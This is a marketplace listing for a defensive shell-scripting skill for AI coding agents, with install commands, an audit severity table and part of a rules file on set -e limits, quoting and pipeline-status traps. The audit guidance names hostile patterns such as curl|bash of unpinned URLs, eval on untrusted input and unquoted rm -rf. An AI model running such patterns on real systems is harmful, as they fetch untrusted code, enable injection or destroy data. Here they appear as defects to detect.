Claude Skill

sota-shell-scripting

State-of-the-art shell scripting (bash-focused, defensive) for writing and auditing shell scripts, CI scripts, init/deploy scripts, container entrypoints, and Makefile recipes — and, just as much, for the ad-hoc commands you run yourself: a grep/find/rg sweep whose result you are

LLM Mart · 0 points · 8 views 0 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download martinholovsky-SOTA-skills-skills_sota-shell-scripting-ec2abf6.zip · 73 KB
Part of martinholovsky/sota-skills — 39 skills

Install

skills CLI npx skills add https://github.com/martinholovsky/SOTA-skills/tree/main/skills/sota-shell-scripting
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install martinholovsky-sota-skills@llmmart
Git git clone https://github.com/martinholovsky/SOTA-skills.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole martinholovsky/sota-skills collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

SOTA Shell Scripting

Purpose: produce shell scripts that survive contact with reality — unusual filenames, missing commands, partial failures, hostile input, signals, and concurrent invocation — and audit existing scripts for the defect classes that cause most production shell incidents: unquoted expansions, silent error swallowing, injection, secret leakage, and temp-file races.

Bash-focused (bash 5.x current; macOS ships bash 3.2 and defaults to zsh — see portability rules). POSIX sh only when the target demands it (busybox/dash containers, init systems).

First decision: should this be shell at all?

Do NOT use shell when any of these hold. Recommend Python/Go (or the project's primary language) instead, and say so explicitly in BUILD and AUDIT output:

  • Script exceeds ~100 lines of actual logic (not counting boilerplate/usage text).
  • Needs real data structures (nested maps, JSON manipulation beyond a jq one-liner, sets).
  • Needs granular error handling (retry this step, distinguish error kinds, partial rollback).
  • Does arithmetic beyond integers, date math, or float comparison.
  • Parses structured formats (JSON/YAML/XML) with string surgery instead of jq/yq.
  • Needs portable concurrency beyond "run N jobs and wait".
  • Is security-critical input handling (auth, parsing untrusted network data).

Shell is the right tool for: gluing processes together, CI steps, container entrypoints, small install/deploy wrappers, environment setup — anything that is mostly invoking other programs rather than computing.

BUILD mode

When writing or modifying shell scripts:

  1. Pick the dialect deliberately. #!/usr/bin/env bash unless the target is a minimal container/init context that only guarantees POSIX sh. Never #!/bin/sh with bashisms.
  2. Start every bash script from the safety preamble (rules/01): set -euo pipefail, trap-based cleanup, IFS discipline — and know where set -e does NOT fire.
  3. Quote every expansion. "$var", "$@", "$(cmd)". Build commands with arrays, never with string concatenation.
  4. Errors are loud and routed to stderr with script name + context; exit codes are meaningful and documented in --help.
  5. Make it idempotent and interrupt-safe: mktemp + trap cleanup, atomic writes via mv, check-before-create, flock if concurrent runs are possible.
  6. Run shellcheck (treat all findings as blockers, suppress only with a justifying comment) and shfmt -d before declaring done. If they are unavailable locally, state that and flag CI must run them.
  7. Provide --help always; --version for distributed tools; set -x behind a DEBUG/TRACE env guard, never unconditionally (secret leakage).

AUDIT mode

When reviewing existing shell scripts, hunt the defect classes in rules/ files bottom-up (each rules file ends with an audit checklist of grep patterns and ShellCheck codes). Run shellcheck -S style on every script if available; correlate findings with context — ShellCheck flags symptoms, you judge exploitability and blast radius.

Severity conventions:

Severity Meaning Examples
CRITICAL Exploitable or data-destroying now eval on untrusted input; unquoted var in rm -rf; secrets in argv/set -x; curl|bash of unpinned URL in prod
HIGH Will corrupt/fail on realistic input or failure unquoted expansions in destructive paths; missing set -e/error checks around critical steps; predictable temp files; non-atomic config writes; missing exec in entrypoint (signals lost)
MEDIUM Latent bug or fragility parsing ls; which instead of command -v; missing pipefail; no -- separators; no timeouts on network calls; echo for variable data
LOW Style/maintainability with safety implications missing local; [ ] where [[ ]] intended; missing readonly; inconsistent error messages

Finding format:

[SEVERITY] file:line — short title (SCxxxx if applicable)
  Evidence: the offending line(s), verbatim
  Impact: what input/condition triggers it and what breaks
  Fix: concrete replacement code
  Effort: trivial | small | medium | large

Rules index

File Covers
rules/01-safety-baseline.md Shebang discipline, set -euo pipefail and its real limitations, quoting & word-splitting bug catalog, zsh-vs-bash deviations that bite pasted commands (joining, pipestatus, and NOMATCH — an unquoted glob in a flag value aborts the command and fakes a clean sweep)
rules/07-powershell.md PowerShell has no set -euo pipefail, and the line everyone omits is the one that matters: $PSNativeCommandUseErrorActionPreference defaults to $false, so $ErrorActionPreference = 'Stop' silently tolerates a failed git/docker/terraform (§1) · The same failure classes as bash with different mechanisms: three disagreeing status variables and a $? that does not climb out of a function, pwsh -Command letting the last statement decide a CI step's verdict, GitHub Actions' built-in shell being safe while a custom shell: string silently drops its fail-fast and exit propagation, Invoke-Expression as eval, execution policy as the control that is not a security boundary, and PSScriptAnalyzer where ShellCheck cannot reach
rules/06-ad-hoc-commands.md rg -r is --replace, not recursive — the grep -r symlink trap inverted, fabricating false CONTENT instead of a false absence (§2a) · The commands nobody commits — a sweep, a probe, a one-liner from a checklist, a quick container copy: the zsh deviations that bite pasted commands (joining, pipestatus, NOMATCH faking a clean sweep), what your searcher silently excludes (-r vs symlinked dirs, ripgrep's gitignore defaults, a grep that is really a wrapper) and controlling a sweep in the same invocation, a pattern beginning with - parsed as a flag (clean zero, error on the stderr you suppressed, §2c), || echo "missing X" firing on any non-zero exit so your broken sweep is reported as their defect (§2d), a hardcoded label asserting the result the output above it contradicts (§2e), and a word-boundary escape that is a property of the machine rather than the tool — \b silently matches nothing where git grep inherits a BSD regex (§2f)
rules/09-listing-and-selection.md A lister's default cap answers with exit 0 and an empty stderr, so a page reads as a population (§5) · The tools that enumerate rather than search: gh pr list returning 30 of 330 with no flag and no warning, the --limit you set for a different question and then counted with, server-side counts and --paginate as the fix, reconciling two methods that disagree to a named cause — and the selector that picked a neighbouring population (§5a): newest is not default, apparent size is not blocks freed, and the only tell is a value that cannot belong to the thing you asked about
rules/08-ad-hoc-side-effects.md "I am only checking something" bounds nothing — a read-only intent is not a read-only command · The sibling of rules/06: that file is a check returning the wrong answer, this one is a check with side effects. An ad-hoc command that fills a disk or corrupts the runtime it was inspecting (§3), and a backgrounded wait loop that exhausts the process table (§4) — which does not degrade, it hits a ceiling where every tool fails at once, including cleanup, since ps, killall and even echo in a fresh shell all need to fork
rules/05-constructs-and-cleanup.md Sourcing a script to test one function relocates it — BASH_SOURCE points at the copy and the script cds itself away, silently (§3a) · The constructs a script is assembled from, once the expansion itself is right: arrays for command building (SC2089/2090), IFS scoping, trap-based cleanup and mktemp (predictable temp paths are a race, not a style point), [[ ]]/printf/local/readonly, and globbing pitfalls including never parsing ls
rules/02-robustness-correctness.md Argument parsing (getopts/while-case, --help/--version), input validation, POSIX vs bash portability, stderr/exit-code discipline, PIPESTATUS, command -v, network timeouts & retries, flock & background jobs, idempotency & atomic writes, safe filename handling
rules/03-security.md Why --severity=style catches real defects, and a pointer to who owns local gate reproduction (§7) · eval/injection, secrets discipline (argv/env/set -x), PATH hygiene — including the non-adversarial mirror: a wrapper, shim, alias or function override that invokes a name its own namespace shadows, which fills the process table with no bound at all while the function form merely segfaults — sudo discipline, curl|bash both directions, temp-file races, umask, ShellCheck+shfmt in CI
rules/04-ci-and-operational.md Killing a backgrounded build by pid orphans the compiler, and the next run's contention reads as a defect in your change · GitHub Actions shell pitfalls (${{ }} injection, multiline run, quoting in YAML), container entrypoints (exec, PID 1, privilege drop), Makefile shell gotchas, long-running script logging

Top 10 non-negotiables

  1. #!/usr/bin/env bash + set -euo pipefail on every bash script — and explicit error handling where -e is known not to fire (conditions, &&/||, command substitution in assignments-with-modifiers, process substitution).
  2. Quote every expansion: "$var", "$@", "${arr[@]}", "$(cmd)". SC2086 is a bug, not style.
  3. Build argument lists with arrays; pass them as "${args[@]}". Never accumulate a command in a string and eval/word-split it.
  4. trap cleanup EXIT with an idempotent cleanup function; temp paths only via mktemp.
  5. Never eval, bash -c, or sh -c with interpolated untrusted data; use -- before positional file/user arguments to every command that supports it.
  6. No secrets in argv, in environment dumps, or under set -x; set +x around sensitive sections; read secrets from files or fds.
  7. Errors to stderr with context (script: failed to X: $detail); meaningful exit codes; never exit 0 on failure paths.
  8. Network calls get --fail, --max-time/timeouts, and bounded retries — never bare curl url | ....
  9. Handle arbitrary filenames: find -print0 | xargs -0 / -exec ... +, while IFS= read -r, never iterate $(ls) or unquoted globs from variables.
  10. ShellCheck (clean, or annotated suppressions) + shfmt enforced in CI; a shell script without CI linting is unreviewed code.

Cross-references

  • CI pipeline hardening, ${{ }} injection, action pinning → sota-devsecops
  • Secret storage/rotation → sota-secrets-management
  • Container image/runtime hardening → sota-sandboxing, sota-cloud-infrastructure
  • When the "don't use shell" rule fires → sota-python / sota-golang
Files (sota-skills)
  • rules
    • 01-safety-baseline.md 27.1 KB
      # 01 — Safety Baseline
      
      The shebang, the preamble, and quoting — what every bash script gets before any logic. Two
      neighbours were split off as this file filled, both times leaving §3 (quoting) in place
      because it is the most-cited section here: the constructs built on top of quoting — arrays,
      IFS, traps and `mktemp` cleanup, test/printf, globbing — are
      [rules/05](05-constructs-and-cleanup.md), and the commands you *type* rather than commit,
      including the zsh deviations that bite them, are
      [rules/06](06-ad-hoc-commands.md).
      
      ## 1. Shebang discipline
      
      - Use `#!/usr/bin/env bash` for bash scripts. `/bin/bash` is absent on NixOS/some BSDs, and
        on macOS `/bin/bash` is frozen at 3.2 (GPLv2) while users install modern bash (5.x) via
        Homebrew on PATH — `env` finds it. macOS's *default interactive shell* is zsh; scripts
        must not assume the login shell.
      - Use `#!/bin/sh` **only** when you commit to strict POSIX (and verify with
        `shellcheck -s sh`). `sh` is dash on Debian/Ubuntu and busybox ash in minimal containers:
        no arrays, no `[[ ]]`, no `local` guarantees beyond common practice, no `pipefail`
        (until very recent POSIX-2024-aligned shells), no `${var//pat/rep}`.
      - Never mix: a `#!/bin/sh` script containing bashisms is a time bomb that detonates on the
        first dash/busybox host. SC2039/SC3xxx-series catch these.
      - If the script needs bash ≥4 features (associative arrays, `mapfile`, `${var,,}`), guard:
      
      ```bash
      (( BASH_VERSINFO[0] >= 4 )) || { printf '%s: requires bash >= 4\n' "${0##*/}" >&2; exit 1; }
      ```
      
      ## 2. The preamble and what `set -e` actually does
      
      ```bash
      #!/usr/bin/env bash
      set -euo pipefail
      ```
      
      - `-e` exit on command failure, `-u` error on unset variable expansion, `-o pipefail` a
        pipeline fails if any element fails (not just the last).
      - Optionally `shopt -s inherit_errexit` (bash ≥4.4): makes command substitutions inherit
        `-e`; without it, `var=$(false; echo ok)` succeeds silently.
      - bash ≥5.3 adds `${ cmd; }` — command substitution run *in the current shell* (no
        subshell/fork): assignments, `cd`, and `shopt` changes inside **persist** in the parent,
        unlike `$(cmd)`. The `-e`-masking rules here apply to it unchanged (`inherit_errexit`
        covers both forms). Guard it as a bash ≥5.3-only feature (§1).
      
      **Where `set -e` does NOT fire — memorize this list; each is a real bug class:**
      
      | Context | Behavior |
      |---|---|
      | Command tested by `if`/`while`/`until` | `-e` suspended for the whole command, including functions it calls |
      | Left of `&&` / `||` | suspended — `cmd && other` swallows `cmd` failure |
      | Any command in a function *called from* a condition | `-e` is off inside the entire call tree |
      | `local var=$(cmd)` / `export var=$(cmd)` | exit status of `cmd` is masked by `local`/`export` (SC2155) |
      | Pipeline without `pipefail` | only last element's status counts |
      | Command substitution in a larger command | `echo "$(false)"` succeeds |
      | Subshell `(exit 1) || true` patterns, `! cmd` | negation makes failure "expected" |
      
      **Inside a suspended context you cannot get errexit back, and `$-` lies about it.**
      Re-running `set -e` or `set -o errexit` in the function or subshell does **not**
      restore it, and `case $- in *e*)` still matches — the shell reports the safety flag
      as enabled while it is behaviourally inert, so you cannot detect the suspension by
      inspecting the shell's own state. Verified on GNU bash **5.3.15 and 3.2.57** (macOS
      `/bin/bash`), 2026-08-16:
      
      ```bash
      a() ( false; echo RAN )              # inherited -e   -> RAN, exit 0
      b() ( set -e; false; echo RAN )      # re-armed       -> RAN, exit 0   <-- does not work
      c() ( set -o errexit; false; echo RAN )  #             -> RAN, exit 0
      e() ( false && echo RAN )            # explicit &&    -> exit 1        <-- works
      f() ( bash -c 'set -e; false; echo RAN' )  # new process -> exit 1     <-- works
      g() ( case $- in *e*) echo "flag IS set";; esac; false; echo RAN )  # prints BOTH
      ```
      
      Only two constructs are reliable there: **explicit `&&` chaining**, or a **fresh
      `bash -c`**. This is an unfalsifiable control inside the shell itself — the
      `sota-code-security` rules/10 §1 question ("if this were a no-op, would anything
      differ?") applied to bash, and the reason `set -e` is a backstop rather than error
      handling.
      
      Consequences:
      
      ```bash
      # BAD — set -e is OFF inside check_all because it's in an if-condition;
      # every failure inside it is silently ignored
      if check_all; then deploy; fi
      
      # BAD — SC2155: rev is always assigned, git failure masked
      local rev=$(git rev-parse HEAD)
      
      # GOOD — separate declaration from command substitution
      local rev
      rev=$(git rev-parse HEAD)
      
      # GOOD — when you need a command's status without -e killing the script:
      status=0
      risky_command || status=$?
      if (( status != 0 )); then
        printf '%s: risky_command failed with %d\n' "${0##*/}" "$status" >&2
        exit "$status"
      fi
      ```
      
      Rule: treat `set -e` as a backstop, not error handling. Critical steps get explicit
      `|| { err "..."; exit 1; }` or status capture.
      
      **`$( )` strips every trailing newline — silently, and it breaks line-oriented
      composition.** The code *reads* as though the newline is there, because the helper that
      produced it emitted one; the newline is removed by the substitution, not by the helper.
      
      ```bash
      body="$(printf 'a: 1\nb: 2\n')"     # body is "a: 1\nb: 2" — the trailing \n is GONE
      printf '%s%s\n' "$body" "c: 3"      # BAD  -> "a: 1", "b: 2c: 3"   (two fields glued)
      printf '%s\n%s\n' "$body" "c: 3"    # GOOD -> "a: 1", "b: 2", "c: 3"
      ```
      
      This matters most where the bytes are **hashed, signed, or parsed by field**: a writer
      and a verifier that disagree about one byte each look correct in isolation. If the
      composed text feeds a digest, assert the round trip against a **committed known-answer
      vector**. Field-reported twice in one session, the second time by the author who had
      just fixed the first instance.
      
      ## 2a. A background job's completion signal is about the launcher
      
      §2 is about `set -e` inside your shell. This is one layer up, where an agent, a CI step or a
      task runner reads *"finished, exit 0"* and believes it describes the work.
      
      ```bash
      nohup sh -c 'pytest … > out.txt 2>&1; echo "EXIT=$?" >> out.txt' &
      ```
      
      Field-reported: the orchestration layer reported **"completed (exit code 0)"** about
      **17 seconds** into a 41-minute run (measured with `ps -o etime` on the pytest process at
      that moment) — the exit status of `nohup` *detaching*, which is a real and successful event.
      It repeated on a second run and on a waiter loop. On the run that mattered the file said
      `EXIT=1`: a test had failed.
      
      Note the two shell-level rules do not cover this. `$?`-after-a-pipeline and
      `cmd; echo` (§2, §3) are about *your* shell's status; here the shell was fine and the
      **reader was a different process**, told about a different subject.
      
      - **Wait on an artefact the job writes, never on the launcher's status.** `until grep -q
        '^EXIT=' out.txt; do sleep 5; done`, then read the file. A sentinel the job appends *last*
        is the only thing that means "the job is done".
      - **Never report a background job's outcome from the notification.** Report the sentinel, and
        quote it.
      - **`pgrep -f 'pattern'` matches the watching shell's own command line**, so a wait loop
        containing the pattern matches itself and never exits. Match the process you mean, exclude
        `$$`, or watch the artefact — which you should be doing anyway. **Platform-scoped, and the
        scope is the trap**: measured 2026-09-16 as a differential, the identical loop on
        **procps-ng 4.0.6 (Linux) never exits**, while on **BSD `pgrep` (macOS) it exits
        immediately** — with a positive control confirming macOS `pgrep -f` does find a *separate*
        carrier process. So a macOS operator who tests this concludes the trap is imaginary and
        ships the loop into Linux CI. Same shape as `-r` over symlinked dirs, which this file
        already states per binary.
      - **And do not read the artefact early.** A live output file is a **buffer**: short,
        truncated and complete are the same bytes, so *"it produced nothing"* and *"it has not
        got there yet"* are indistinguishable. Field-reported: a gate task's short log was
        declared dead — *"silently failed, no output, HEAD never moved"* — while it was still
        running; it went on to produce full output, commit and push. **A background task is
        finished when the harness says so and at no other time.**
      - **Do not write to a resource a live task owns** — its worktree, branch or output
        directory. One writer per worktree. In that case the operator committed on top of the
        task believed dead, and the still-live task then recorded a ledger entry for the *new*
        commit while pushing only as far as the old one; untangling it cost more than the work
        it interrupted.
      - **Grepping a task log for a pass line and getting zero needs a denominator in the same
        invocation** — total lines, and total lines of the kind you searched for. The same
        operator later grepped a finished 28-line log for `PASS ebpf_load`, got zero, and nearly
        reported the gate as never having run; **zero `PASS` lines anywhere in the file** showed
        the log never held the table at all, and the gate had in fact *failed* — which was the
        real finding. `rules/06` §2.
      - The general form, for any status: `sota/rules/03` §2 — name what the OK is about.
      
      ## 2b. A non-zero exit is evidence about one attempt, not about the world
      
      §2a is a status about the wrong *subject*. This is a status about the right subject and the
      wrong *scope*: the command failed, and the write it was making had already landed.
      
      Field-reported. A `git push` returned:
      
      ```text
      ! [remote rejected] main -> main (cannot lock ref 'refs/heads/main':
        is at 8a93e406d96b but expected bfd516b8c489...)
      PUSH_EXIT=1
      ```
      
      `8a93e406d96b` **is the commit that push was sending.** A `git fetch` immediately after
      showed `185e511..8a93e40` — the branch was exactly where it should be. The error text names
      the **success** as the obstacle, which is why it reads so convincingly as a rejection.
      
      **Why this is worse than an ordinary gotcha:** every reflexive remedy for a rejected push —
      re-push, `--force`, `reset --hard`, "let me clean this up" — is **destructive to a branch
      that is fine**. The failure mode converts a non-event into data loss through a
      well-intentioned fix.
      
      - **Before acting on a failed mutation, ask the system whether it happened.** For a push:
        `git fetch && git rev-list --left-right --count origin/main...HEAD`. For anything else,
        read the resource back. This costs one command and is unconditional — you do not need to
        know *why* the exit was non-zero.
      - **The tell is an error quoting your own intended value as the current state.** `is at
        <the thing you were writing>` is a success report wearing a failure's clothes.
      - **The mechanism, field-reported with both arms** (alpine 3.22, git 2.49.1; reproduced by
        the reporter, not rebuilt here). A minimal smart-HTTP server running real
        `git-receive-pack --stateless-rpc`, with the POST delivered twice: the control arm (single
        delivery) exits 0 and advances the ref; the test arm exits non-zero, **the write lands**,
        and the error quotes the value just written while naming the stale old-value as expected.
        All four predicates of the field signature hold. Two earlier attempts had *failed* to
        reproduce it — both used git's **local** transport, which has no HTTP layer and so no
        retry, and neither had a control arm (`sota-code-security` rules/12 §1a). The wider generalisation — *any
        protocol with an idempotent retry can report failure about its own success* (at-least-once
        delivery, conditional writes, state locks, idempotency-keyed payment APIs) — remains
        **plausible and not established**: one protocol was reproduced, not the class. **The rule
        above depends on none of it.**
      
      ## 3. Quoting: quote every expansion (SC2086)
      
      Unquoted expansions undergo word splitting (on `$IFS`) **and** glob expansion. This is the
      single largest shell bug class.
      
      **In zsh they do not** — and that inverts the bug. zsh's `SH_WORD_SPLIT`, *"Causes field
      splitting to be performed on unquoted parameter expansions"*, is **off** in native zsh
      (the manual marks it `<K> <S>` — ksh/sh emulation only; verified 2026-08-14 against the
      zsh Options manual). So `cmd $args` passes the whole string as **one argument**, and the
      same line that is a splitting bug in bash is a *joining* bug in zsh. It matters because
      macOS defaults to zsh, so a snippet pasted from a bash-shaped rule silently changes
      meaning in an interactive shell and in any `#!/bin/zsh` script.
      
      ```zsh
      args="gate check --json"
      cmd $args           # zsh: ONE argument "gate check --json" — usually a usage error
      cmd ${=args}        # explicit split — three arguments
      argv=(gate check --json); cmd $argv   # better: an array, correct in both shells
      cmd ${3:+--flag $3}  # zsh: passes "--flag /path" as one argument
      
      files=$(git ls-files '*.md')          # a NEWLINE-separated list — the shape audit sweeps build
      grep -l PATTERN $files                # zsh: ONE impossible filename; searches NOTHING, exit 2
      files=("${(@f)$(git ls-files '*.md')}")   # right: split on NEWLINES only
      ```
      
      **The remedy is separator-specific.** `${=var}` above is right for a space-separated flag
      string and *wrong* for a file list — it splits spaces too, so `a b.md` becomes two missing
      paths (measured: 1 hit where 2 were due). Use `${(@f)…}` for anything `$(…)` produced.
      
      The failure mode is what makes this expensive: the callee reports a **usage error
      (exit 2)**, which reads as a bug in the tool being tested rather than in the harness
      calling it. `for x in "a b"; do cmd $x; done` and `${var:+--flag $var}` are where it
      bites hardest. Same family: `$?` after a pipeline is the **last** stage's status —
      `${pipestatus[1]}` in zsh, `${PIPESTATUS[0]}` in bash (rules/02 §4).
      
      **The status-discarding pipe is usually in the scaffolding, not the payload.** `cmd | tail`,
      `cmd | head`, `cmd | grep -q` are typed to shorten output or make a decision; the exit status
      is collateral, and nobody audits collateral. **The mechanical tell is `&&` after a pipeline** —
      if anything is chained onto a piped command, the chain is running on the *formatter's* status:
      
      ```console
      $ (exit 1) | tail -1; echo "status=$?"
      status=0
      $ (exit 1) | tail -1 && echo "this runs"
      this runs
      ```
      
      Field-reported twice in one session, an hour apart, in separately composed commands:
      `make ci 2>&1 | tail -10 && git push origin main` pushed while the gate was **red**, and the
      push triggered a second concurrent gate run that collided with the first over a shared test
      binary (`Text file busy`). The visible symptom was a conformance test failing to observe an
      event it had caused — indistinguishable from a product race, in a suite that already carried
      four undiagnosed intermittent failures. **The tell that it was the harness and not the product
      was duration: 1599s against ~757s for identical code minutes earlier.**
      
      **Commands you write to *manage* the work get the same scrutiny as commands you write to *do*
      it.** Wait loops, output formatting, status chaining and cleanup are where a shell trap
      survives an otherwise careful session — not because the rules are unknown, but because the
      reflex fires on *"am I about to believe this result?"*, and scaffolding never feels like a
      result. A `pgrep` waiter and a `| tail &&` chain both passed unexamined in one session by an
      operator who had read both rules that morning. Graded as one observation with two instances.
      
      **A consumer at the end of a pipe usually succeeds on empty input, and its output looks
      like a real answer.** `pipefail` fixes the *status*; this is about the **value you keep**.
      A registry guard meant to refuse overwriting a published tag:
      
      ```bash
      EXIST=$(skopeo inspect --raw "docker://host/repo:tag" 2>/dev/null | sha256sum | cut -d' ' -f1 || true)
      [ -n "$EXIST" ] && [ "$EXIST" != "$DIGEST" ] && refuse
      ```
      
      On a **missing** tag the inspect fails, `sha256sum` reads empty stdin, and `EXIST` becomes
      `e3b0c44298fc…b855` — the hash of nothing. Non-empty, well-formed, and never equal to a
      real digest, so the guard refused **every** publish. Hashers, `wc`, `sort`, `base64` and
      `jq -r //empty` all manufacture a plausible result from nothing, which is why `[ -n "$var" ]`
      after such a pipeline tests almost nothing.
      
      **Test the precondition separately from the transformation:**
      
      ```bash
      if producer >/dev/null 2>&1; then value=$(producer | transform); else value=""; fi
      ```
      
      **Do not pattern-match the fix.** The same guard written with `--format '{{.Digest}}'` and
      **no pipe** genuinely yields an empty string, so *its* `[ -n "$var" ]` is correct. A grep
      sweep for the shape would "fix" working code; checking which form each site uses is the
      work. The differential-oracle version of the same defect — a comparand that is empty rather
      than a value that is fake — is `sota-code-security` rules/11 §2.2a.
      
      **A pipeline is an evidence hazard as well as a status hazard, and `pipefail` only fixes
      the status.** For any command whose output you intend to *reason about* — a test run, a
      benchmark, a profile, a long analysis — **redirect to a file and read the file**:
      
      ```bash
      cmd > out.txt 2>&1; echo "EXIT=$?"        # status preserved AND output preserved
      grep -nE 'passed|failed|Error' out.txt    # filter AFTER, as often as you like
      ```
      
      `cmd 2>&1 | tail -12` keeps the summary and destroys the traceback, the warnings and the
      stderr context above the cut — which is **the material that tells you the summary is
      wrong**. That asymmetry is the whole hazard: `tail` is *selected* to keep the summary
      line, so the pipe preserves the number and discards the evidence that the number is not
      to be trusted, and the surviving line is the one most likely to be quoted. Reproduced on a
      pytest-shaped run (200 progress lines, cause at the top, summary last): piped through
      `tail -12` the `AssertionError` was gone while `1 failed, 38265 passed` survived;
      redirected, both were there and the cause was one `grep` away.
      
      The cost is not the pipe, it is that a consumed pipe **cannot be re-read** — recovering
      the output means re-running the job. A 36-minute suite re-run to retrieve output that had
      already been produced once is the reported case; a four-minute mutation harness re-run
      three times over, because each `| tail -N` answered a different question than the one
      asked, is the same failure in miniature.
      
      Two corollaries:
      - **An empty result and a discarded result are the same value.** A backgrounded
        `... 2>&1 | tail -14` that produced a 22-byte file containing only `[exited with code 0]`
        is indistinguishable from a run that measured nothing — and the exit status says
        neither.
      - **Buffering turns this into a lie about the cause.** In long-running Python use
        `print(..., flush=True)` (or `-u`): a process killed by `timeout` otherwise leaves a
        file that is empty for a reason unrelated to the result.
      
      **And it is not only `tail` — a `grep` filter is worse, because it looks selective rather
      than lossy.** Reported case: a comparison tool was run as
      `tool compare … | grep -E "baseline|current|LOST|GAINED"`. The tool had correctly detected
      that its input changed between the two runs and printed
      `!! GRAPH CHANGED: 245827 -> 245808 REACHING_DEF edges`. That line matched none of the
      four alternatives, so it was discarded — and the conclusion being formed from what
      survived was that the guard was **inert**, i.e. a defect report about working code.
      
      The general form: **a filter written before you know what the output contains is a filter
      chosen to exclude the surprise.** `head`, `tail`, `grep`, `awk`, `cut` and `jq` all
      destroy output selectively, and the thing you did not think to match is exactly the thing
      worth reading. So **redirect first, filter the file afterwards** — a saved file can be
      re-grepped with a better pattern once the first one proves wrong; a consumed pipe cannot,
      and the second pattern costs a full re-run.
      
      **Scope, deliberately narrow:** this is not "never use `tail`". Piping to `tail` to watch
      a log, sample a file or check a shape is fine and idiomatic. The rule applies where the
      output is **evidence for a claim**, and the tell is whether you would have to re-run the
      job to get it back.
      
      **Arrays are the portable answer.** They mean what they say in both shells; `${=var}` is
      a zsh-only escape hatch for a string you did not build.
      
      ```bash
      # BAD — splits on spaces, expands *, ?, [ in the value
      rm -rf $build_dir/$target      # build_dir="my project" → rm -rf my project/...
      cp $files $dest                # files="a b" is two args; files="*" globs
      
      # GOOD
      rm -rf -- "$build_dir/$target"
      cp -- "$files" "$dest"
      ```
      
      Word-splitting bug catalog — all are bugs, not style:
      
      ```bash
      [ -f $path ]                 # path with space → "[: too many arguments"
      for f in $(ls); do ...       # splits on whitespace, globs results (SC2045/SC2012)
      echo $(<file)                # collapses runs of whitespace, expands globs in content
      ssh host rm $file            # double expansion: once locally, once remotely
      args="--opt val"; cmd $args  # works until val has a space — use an array
      return $?                    # fine — but `exit $code` with code="" under -u errors; quote anyway
      curl -H $auth_header ...     # header with space splits into garbage args
      ```
      
      - `"$@"` not `$*` and not `"$*"` to forward arguments — `"$@"` preserves each argument as
        one word. `"$*"` joins into a single word (legit only for display strings).
      - `"${arr[@]}"` for arrays, same logic.
      - The only sanctioned unquoted expansions: inside `[[ ]]` (no splitting there — but quote
        the *right-hand side* of `==`/`=~` deliberately: unquoted RHS is a pattern, quoted is
        literal), and arithmetic `$(( ))`.
      
      ## Audit checklist
      
      - [ ] **Is anything chained onto a pipeline with `&&`?** (§3) The chain runs on the
            *formatter's* exit status, not the work's — `make ci | tail -10 && git push` pushes
            while the gate is red. Audit the scaffolding, not just the payload: `| tail`, `| head`,
            `| grep -q`, wait loops and cleanup are typed to manage the work, so the
            "am I about to believe this?" reflex never fires on them. Grep the shape:
            `grep -nE '\|[^|]+&&' ` over scripts and CI run blocks.
      - [ ] **Does any `pgrep -f` waiter match the watcher's own argv?** (§3) It never exits — **on
            Linux**. Measured as a differential: procps-ng never exits, BSD/macOS exits immediately,
            so a green local test on macOS proves nothing about the Linux CI that will run it.
      - [ ] **Any `var=$(producer | consumer)` whose emptiness is then tested?** Hashers, `wc`,
            `sort`, `base64` and `jq -r //empty` succeed on empty stdin and return a well-formed value,
            so `[ -n "$var" ]` passes on a failed producer. Test the producer separately — and check each
            site's actual form before sweeping, because the no-pipe spelling is correct as written (§3).
      
      - [ ] **Composed multi-line records**: `grep -rn '="\$(' --include='*.sh'` where the
            result is concatenated with more lines — `$( )` dropped the trailing newline and
            the boundary is gone. High where the bytes are hashed, signed or field-parsed;
            confirm a known-answer vector exists and that writer and verifier agree byte-for-byte.
      
      - [ ] **Measurements piped into `tail`/`head`.** `grep -rnE '(pytest|go test|cargo|bench|profile|timeout)[^|]*\| *(tail|head)' --include='*.sh' --include='*.yml' .` — and the same in any runbook or CI step whose output someone reads. Evidence commands redirect to a file; `pipefail` does not bring destroyed output back (§3).
      
      Run `shellcheck -S style` first; then hunt manually.
      
      **zsh is not covered by shellcheck, and its tooling is thinner — but it is not nothing.**
      Find the zsh files first (`grep -rln '^#!.*zsh' .`), then know what can and cannot check
      them (all verified 2026-08-14):
      
      | Tool | Covers zsh? | Evidence |
      |---|---|---|
      | `shellcheck` | **No** | `SC1071 (error): ShellCheck only supports sh/bash/dash/ksh/'busybox sh' scripts` — run it and see. Note that popular web summaries claim otherwise; they are wrong, and the binary settles it |
      | `zsh -n` | **Syntax only** | catches parse errors and exits 1 (`broken.zsh:4: parse error near '\n'`); it does **not** find quoting or splitting bugs, which is the class this section is about |
      | `zsh -o WARN_CREATE_GLOBAL` / `WARN_NESTED_VAR` | Narrow, runtime | flags accidental globals as the script *runs* — not static analysis |
      | `z-shell/zsh-lint` | Claims to | third-party, ~33 stars, actively pushed as of 2026-08-14. Small and low-adoption — treat as a candidate generator, verify its findings, and re-check maintenance before you depend on it |
      
      So the practical answer is `zsh -n` in CI for syntax, plus a **manual read for the
      splitting/joining class** — no widely-adopted static analyser catches
      `cmd $args` being one argument in zsh.
      
      - [ ] **Measurements piped into a filter — `tail`, `head`, *or* `grep`/`awk`/`jq`.** The `grep` form is the more dangerous one: it reads as selective rather than lossy, and the line it silently drops is the one you did not know to look for (§3).
      - [ ] **Is a VERDICT — pass/fail, not a measurement — read through a pipe or taken from a
            multi-command block?** (§3) The adjacent items above cover *measurements* piped into a
            filter and background launchers; this is the pass/fail case, and it is the one that gets
            reported to a human. A pipeline's `$?` is the **last stage's**; a block's is the **last
            command's**. So `check.sh | tail -2` and `check.sh` followed by `gh pr checks` both
            yield a status describing something other than the check — and a green reads as a
            verdict while being silent about the real one. Field-measured 2026-09-14: both forms
            reported exit 0 over a failing gate in one session, twice.
            **The structural fix, not another warning:** the verdict-bearing command runs **alone
            and unpiped**, its status is captured on the very next line (`rc=$?`), and any filtering
            is a *separate* invocation afterwards. In committed shell `shellcheck -S style` flags the
            `$?` form (SC2181); in an **ad-hoc command nothing does**, which is where it happens
            (`rules/06` §1). In zsh the producer's status is `${pipestatus[1]}` — `${PIPESTATUS[0]}`
            reads as empty, which is itself a silent wrong answer.
      - [ ] **Background jobs: is any outcome read from the launcher's status?** (§2a) The
